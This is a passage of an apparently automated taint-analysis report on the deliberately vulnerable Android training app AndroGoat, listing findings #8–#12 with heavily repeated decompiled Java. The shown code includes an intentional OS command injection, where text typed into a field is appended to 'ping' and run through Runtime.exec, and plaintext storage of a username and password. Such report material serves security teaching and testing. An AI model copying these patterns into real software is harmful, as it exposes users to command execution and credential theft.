            v4_4.append(password is );
            String v5_5 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_5, password);
            v4_4.append(v5_5.getText().toString());
            v4_4.append(
);
            v3_1.write(v4_4.toString());
            v3_1.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (Exception v0_5) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data not saved), 1).show();
            v0_5.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296300);
        ((android.widget.Button) this.findViewById(2131165210)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.<init>()` :

```
    InsecureStorageTempActivity$onCreate$1(owasp.sat.agoat.InsecureStorageTempActivity p1, android.widget.EditText p2, android.widget.EditText
p3)
    {
        this.this$0 = p1;
        this.$username = p2;
        this.$password = p3;
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296300);
        ((android.widget.Button) this.findViewById(2131165210)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296300);
        ((android.widget.Button) this.findViewById(2131165210)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

### Finding #8

User controlled parameter is used call a sink method. Taint traced from non-reachable component: `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity` found at `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity` . From parameter `0` to sink `void java.io.InputStreamReader.<init>(java.io.InputStream)` . Taint trace:

```
at java.io.InputStreamReader.<init>()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()
at java.io.InputStreamReader.<init>()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.<init>()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(ping );
        StringBuffer v1_4 = this.$ip;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, ip);
        v0_1.append(v1_4.getText().toString());
        String v0_2 = v0_1.toString();
        StringBuffer v1_2 = new StringBuffer();
        try {
            android.widget.TextView v2_1 = Runtime.getRuntime().exec(v0_2, 0, 0);
```

```
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_1, Runtime.getRuntime().exec(ip1,null,null));
            v2_1.waitFor();
            String v4_3 = new java.io.BufferedReader(((java.io.Reader) new java.io.InputStreamReader(v2_1.getInputStream()))).readLine();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_3, reader.readLine());
        } catch (android.widget.TextView v2_2) {
            v2_2.printStackTrace();
            android.widget.TextView v2_3 = this.$result;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
            v2_3.setText(((CharSequence) v1_2.toString()));
            return;
        }
        while (v4_3 != null) {
            String v5_3 = new StringBuilder();
            v5_3.append(v4_3);
            v5_3.append(n);
            v1_2.append(v5_3.toString());
        }
        v2_3 = this.$result;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
        v2_3.setText(((CharSequence) v1_2.toString()));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(ping );
        StringBuffer v1_4 = this.$ip;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, ip);
        v0_1.append(v1_4.getText().toString());
        String v0_2 = v0_1.toString();
        StringBuffer v1_2 = new StringBuffer();
        try {
            android.widget.TextView v2_1 = Runtime.getRuntime().exec(v0_2, 0, 0);
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_1, Runtime.getRuntime().exec(ip1,null,null));
            v2_1.waitFor();
            String v4_3 = new java.io.BufferedReader(((java.io.Reader) new java.io.InputStreamReader(v2_1.getInputStream()))).readLine();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_3, reader.readLine());
        } catch (android.widget.TextView v2_2) {
            v2_2.printStackTrace();
            android.widget.TextView v2_3 = this.$result;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
            v2_3.setText(((CharSequence) v1_2.toString()));
            return;
        }
        while (v4_3 != null) {
            String v5_3 = new StringBuilder();
            v5_3.append(v4_3);
            v5_3.append(n);
            v1_2.append(v5_3.toString());
        }
        v2_3 = this.$result;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
        v2_3.setText(((CharSequence) v1_2.toString()));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(ping );
        StringBuffer v1_4 = this.$ip;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, ip);
        v0_1.append(v1_4.getText().toString());
        String v0_2 = v0_1.toString();
        StringBuffer v1_2 = new StringBuffer();
        try {
            android.widget.TextView v2_1 = Runtime.getRuntime().exec(v0_2, 0, 0);
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_1, Runtime.getRuntime().exec(ip1,null,null));
```

```
            v2_1.waitFor();
            String v4_3 = new java.io.BufferedReader(((java.io.Reader) new java.io.InputStreamReader(v2_1.getInputStream()))).readLine();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_3, reader.readLine());
        } catch (android.widget.TextView v2_2) {
            v2_2.printStackTrace();
            android.widget.TextView v2_3 = this.$result;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
            v2_3.setText(((CharSequence) v1_2.toString()));
            return;
        }
        while (v4_3 != null) {
            String v5_3 = new StringBuilder();
            v5_3.append(v4_3);
            v5_3.append(n);
            v1_2.append(v5_3.toString());
        }
        v2_3 = this.$result;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
        v2_3.setText(((CharSequence) v1_2.toString()));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(ping );
        StringBuffer v1_4 = this.$ip;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, ip);
        v0_1.append(v1_4.getText().toString());
        String v0_2 = v0_1.toString();
        StringBuffer v1_2 = new StringBuffer();
        try {
            android.widget.TextView v2_1 = Runtime.getRuntime().exec(v0_2, 0, 0);
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_1, Runtime.getRuntime().exec(ip1,null,null));
            v2_1.waitFor();
            String v4_3 = new java.io.BufferedReader(((java.io.Reader) new java.io.InputStreamReader(v2_1.getInputStream()))).readLine();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_3, reader.readLine());
        } catch (android.widget.TextView v2_2) {
            v2_2.printStackTrace();
            android.widget.TextView v2_3 = this.$result;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
            v2_3.setText(((CharSequence) v1_2.toString()));
            return;
        }
        while (v4_3 != null) {
            String v5_3 = new StringBuilder();
            v5_3.append(v4_3);
            v5_3.append(n);
            v1_2.append(v5_3.toString());
        }
        v2_3 = this.$result;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
        v2_3.setText(((CharSequence) v1_2.toString()));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296292);
        ((android.widget.Button) this.findViewById(2131165317)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1(((android.widget.EditText) this.findViewById(2131165279)),
((android.widget.TextView) this.findViewById(2131165311)))));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.<init>()` :

```
    InputValidationsOSCMDInjectionMain2Activity$onCreate$1(android.widget.EditText p1, android.widget.TextView p2)
    {
        this.$ip = p1;
        this.$result = p2;
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296292);
        ((android.widget.Button) this.findViewById(2131165317)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1(((android.widget.EditText) this.findViewById(2131165279)),
((android.widget.TextView) this.findViewById(2131165311)))));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296292);
        ((android.widget.Button) this.findViewById(2131165317)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1(((android.widget.EditText) this.findViewById(2131165279)),
((android.widget.TextView) this.findViewById(2131165311)))));
        return;
    }
```

### Finding #9

User controlled parameter is used call a sink method. Taint traced from non-reachable component: `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity` found at `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity` . From parameter `0` to sink `void java.io.InputStreamReader.<init>(java.io.InputStream)` . Taint trace:

```
at java.io.InputStreamReader.<init>()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.<init>()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()
at owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(ping );
        StringBuffer v1_4 = this.$ip;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, ip);
        v0_1.append(v1_4.getText().toString());
        String v0_2 = v0_1.toString();
        StringBuffer v1_2 = new StringBuffer();
        try {
            android.widget.TextView v2_1 = Runtime.getRuntime().exec(v0_2, 0, 0);
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_1, Runtime.getRuntime().exec(ip1,null,null));
            v2_1.waitFor();
```

```
            String v4_3 = new java.io.BufferedReader(((java.io.Reader) new java.io.InputStreamReader(v2_1.getInputStream()))).readLine();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_3, reader.readLine());
        } catch (android.widget.TextView v2_2) {
            v2_2.printStackTrace();
            android.widget.TextView v2_3 = this.$result;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
            v2_3.setText(((CharSequence) v1_2.toString()));
            return;
        }
        while (v4_3 != null) {
            String v5_3 = new StringBuilder();
            v5_3.append(v4_3);
            v5_3.append(n);
            v1_2.append(v5_3.toString());
        }
        v2_3 = this.$result;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
        v2_3.setText(((CharSequence) v1_2.toString()));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(ping );
        StringBuffer v1_4 = this.$ip;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, ip);
        v0_1.append(v1_4.getText().toString());
        String v0_2 = v0_1.toString();
        StringBuffer v1_2 = new StringBuffer();
        try {
            android.widget.TextView v2_1 = Runtime.getRuntime().exec(v0_2, 0, 0);
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_1, Runtime.getRuntime().exec(ip1,null,null));
            v2_1.waitFor();
            String v4_3 = new java.io.BufferedReader(((java.io.Reader) new java.io.InputStreamReader(v2_1.getInputStream()))).readLine();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_3, reader.readLine());
        } catch (android.widget.TextView v2_2) {
            v2_2.printStackTrace();
            android.widget.TextView v2_3 = this.$result;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
            v2_3.setText(((CharSequence) v1_2.toString()));
            return;
        }
        while (v4_3 != null) {
            String v5_3 = new StringBuilder();
            v5_3.append(v4_3);
            v5_3.append(n);
            v1_2.append(v5_3.toString());
        }
        v2_3 = this.$result;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
        v2_3.setText(((CharSequence) v1_2.toString()));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(ping );
        StringBuffer v1_4 = this.$ip;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, ip);
        v0_1.append(v1_4.getText().toString());
        String v0_2 = v0_1.toString();
        StringBuffer v1_2 = new StringBuffer();
        try {
            android.widget.TextView v2_1 = Runtime.getRuntime().exec(v0_2, 0, 0);
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_1, Runtime.getRuntime().exec(ip1,null,null));
            v2_1.waitFor();
            String v4_3 = new java.io.BufferedReader(((java.io.Reader) new java.io.InputStreamReader(v2_1.getInputStream()))).readLine();
```

```
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_3, reader.readLine());
        } catch (android.widget.TextView v2_2) {
            v2_2.printStackTrace();
            android.widget.TextView v2_3 = this.$result;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
            v2_3.setText(((CharSequence) v1_2.toString()));
            return;
        }
        while (v4_3 != null) {
            String v5_3 = new StringBuilder();
            v5_3.append(v4_3);
            v5_3.append(n);
            v1_2.append(v5_3.toString());
        }
        v2_3 = this.$result;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v2_3, result);
        v2_3.setText(((CharSequence) v1_2.toString()));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296292);
        ((android.widget.Button) this.findViewById(2131165317)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1(((android.widget.EditText) this.findViewById(2131165279)),
((android.widget.TextView) this.findViewById(2131165311)))));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1.<init>()` :

```
    InputValidationsOSCMDInjectionMain2Activity$onCreate$1(android.widget.EditText p1, android.widget.TextView p2)
    {
        this.$ip = p1;
        this.$result = p2;
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296292);
        ((android.widget.Button) this.findViewById(2131165317)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1(((android.widget.EditText) this.findViewById(2131165279)),
((android.widget.TextView) this.findViewById(2131165311)))));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296292);
        ((android.widget.Button) this.findViewById(2131165317)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity$onCreate$1(((android.widget.EditText) this.findViewById(2131165279)),
((android.widget.TextView) this.findViewById(2131165311)))));
        return;
```

```
    }
```

### Finding #10

User controlled parameter is used call a sink method. Taint traced from non-reachable component: `owasp.sat.agoat.InputValidationsActivity` found at `owasp.sat.agoat.InputValidationsActivity` . From parameter `0` to sink `void owasp.sat.agoat.InputValidationsActivity.startActivity(android.content.Intent)` . Taint trace:

```
at owasp.sat.agoat.InputValidationsActivity.startActivity()
at owasp.sat.agoat.InputValidationsActivity$onCreate$2.onClick()
at owasp.sat.agoat.InputValidationsActivity.onCreate()
at owasp.sat.agoat.InputValidationsActivity$onCreate$2.<init>()
at owasp.sat.agoat.InputValidationsActivity.onCreate()
at android.support.v7.app.AppCompatActivity.onCreate()
at owasp.sat.agoat.InputValidationsActivity.onCreate()
```

Method `owasp.sat.agoat.InputValidationsActivity$onCreate$2.onClick()` :

```
    public final void onClick(android.view.View p5)
    {
        this.this$0.startActivity(new android.content.Intent(((android.content.Context) this.this$0), owasp.sat.agoat.SQLinjectionActivity));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        this.setContentView(2131296291);
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.xssBtn)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$1(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.sqliButton)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$2(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.wbUrl)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$3(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.oscmdi)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$4(this)));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsActivity$onCreate$2.<init>()` :

```
    InputValidationsActivity$onCreate$2(owasp.sat.agoat.InputValidationsActivity p1)
    {
        this.this$0 = p1;
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        this.setContentView(2131296291);
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.xssBtn)).setOnClickListener(((android.view.View$OnClickListener) new
```

```
owasp.sat.agoat.InputValidationsActivity$onCreate$1(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.sqliButton)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$2(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.wbUrl)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$3(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.oscmdi)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$4(this)));
        return;
    }
```

Method `android.support.v7.app.AppCompatActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        android.support.v7.app.AppCompatDelegate v0 = this.getDelegate();
        v0.installViewFactory();
        v0.onCreate(p5);
        if ((v0.applyDayNight()) && (this.mThemeId != 0)) {
            if (android.os.Build$VERSION.SDK_INT < 23) {
                this.setTheme(this.mThemeId);
            } else {
                this.onApplyThemeResource(this.getTheme(), this.mThemeId, 0);
            }
        }
        super.onCreate(p5);
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        this.setContentView(2131296291);
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.xssBtn)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$1(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.sqliButton)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$2(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.wbUrl)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$3(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.oscmdi)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$4(this)));
        return;
    }
```

### Finding #11

User controlled parameter is used call a sink method. Taint traced from non-reachable component: `owasp.sat.agoat.InputValidationsActivity` found at `owasp.sat.agoat.InputValidationsActivity` . From parameter `0` to sink `void owasp.sat.agoat.InputValidationsActivity.startActivity(android.content.Intent)` . Taint trace:

```
at owasp.sat.agoat.InputValidationsActivity.startActivity()
at owasp.sat.agoat.InputValidationsActivity$onCreate$2.onClick()
at android.content.Intent.<init>()
at owasp.sat.agoat.InputValidationsActivity$onCreate$2.onClick()
at owasp.sat.agoat.InputValidationsActivity.onCreate()
at owasp.sat.agoat.InputValidationsActivity$onCreate$2.<init>()
at owasp.sat.agoat.InputValidationsActivity.onCreate()
at android.support.v7.app.AppCompatActivity.onCreate()
at owasp.sat.agoat.InputValidationsActivity.onCreate()
```

Method `owasp.sat.agoat.InputValidationsActivity$onCreate$2.onClick()` :

```
    public final void onClick(android.view.View p5)
    {
        this.this$0.startActivity(new android.content.Intent(((android.content.Context) this.this$0), owasp.sat.agoat.SQLinjectionActivity));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsActivity$onCreate$2.onClick()` :

```
    public final void onClick(android.view.View p5)
    {
        this.this$0.startActivity(new android.content.Intent(((android.content.Context) this.this$0), owasp.sat.agoat.SQLinjectionActivity));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        this.setContentView(2131296291);
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.xssBtn)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$1(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.sqliButton)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$2(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.wbUrl)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$3(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.oscmdi)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$4(this)));
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsActivity$onCreate$2.<init>()` :

```
    InputValidationsActivity$onCreate$2(owasp.sat.agoat.InputValidationsActivity p1)
    {
        this.this$0 = p1;
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        this.setContentView(2131296291);
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.xssBtn)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$1(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.sqliButton)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$2(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.wbUrl)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$3(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.oscmdi)).setOnClickListener(((android.view.View$OnClickListener) new
```

```
owasp.sat.agoat.InputValidationsActivity$onCreate$4(this)));
        return;
    }
```

Method `android.support.v7.app.AppCompatActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        android.support.v7.app.AppCompatDelegate v0 = this.getDelegate();
        v0.installViewFactory();
        v0.onCreate(p5);
        if ((v0.applyDayNight()) && (this.mThemeId != 0)) {
            if (android.os.Build$VERSION.SDK_INT < 23) {
                this.setTheme(this.mThemeId);
            } else {
                this.onApplyThemeResource(this.getTheme(), this.mThemeId, 0);
            }
        }
        super.onCreate(p5);
        return;
    }
```

Method `owasp.sat.agoat.InputValidationsActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        this.setContentView(2131296291);
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.xssBtn)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$1(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.sqliButton)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$2(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.wbUrl)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$3(this)));
        ((android.widget.Button)
this._$_findCachedViewById(owasp.sat.agoat.R$id.oscmdi)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InputValidationsActivity$onCreate$4(this)));
        return;
    }
```

### Finding #12

User controlled parameter is used call a sink method. Taint traced from non-reachable component: `owasp.sat.agoat.AccessControlIssue1Activity` found at `owasp.sat.agoat.AccessControlIssue1Activity` . From parameter `0` to sink `void owasp.sat.agoat.AccessControlIssue1Activity.startActivity(android.content.Intent)` . Taint trace:

```
at owasp.sat.agoat.AccessControlIssue1Activity.startActivity()
at owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick()
at owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView()
at owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.<init>()
at owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView()
at owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.onClick()
at owasp.sat.agoat.AccessControlIssue1Activity.onCreate()
at owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.<init>()
at owasp.sat.agoat.AccessControlIssue1Activity.onCreate()
at android.support.v7.app.AppCompatActivity.onCreate()
at owasp.sat.agoat.AccessControlIssue1Activity.onCreate()
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$verifyPINView$1.onClick()` :

```
    public final void onClick(android.view.View p5)
    {
```

```
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165305));
        android.widget.Toast v1_10 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_10.isPinCorrect(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Incorrect PIN entered), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN Verified), 1).show();
            this.this$0.startActivity(new android.content.Intent(((android.content.Context) this.this$0),
owasp.sat.agoat.AccessControl1ViewActivity));
        }
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.verifyPINView()` :

```
    public final void verifyPINView()
    {
        this.setContentView(2131296285);
        ((android.widget.Button) this.findViewById(2131165371)).setOnClickListener(((android.view.View$OnClickListener) new
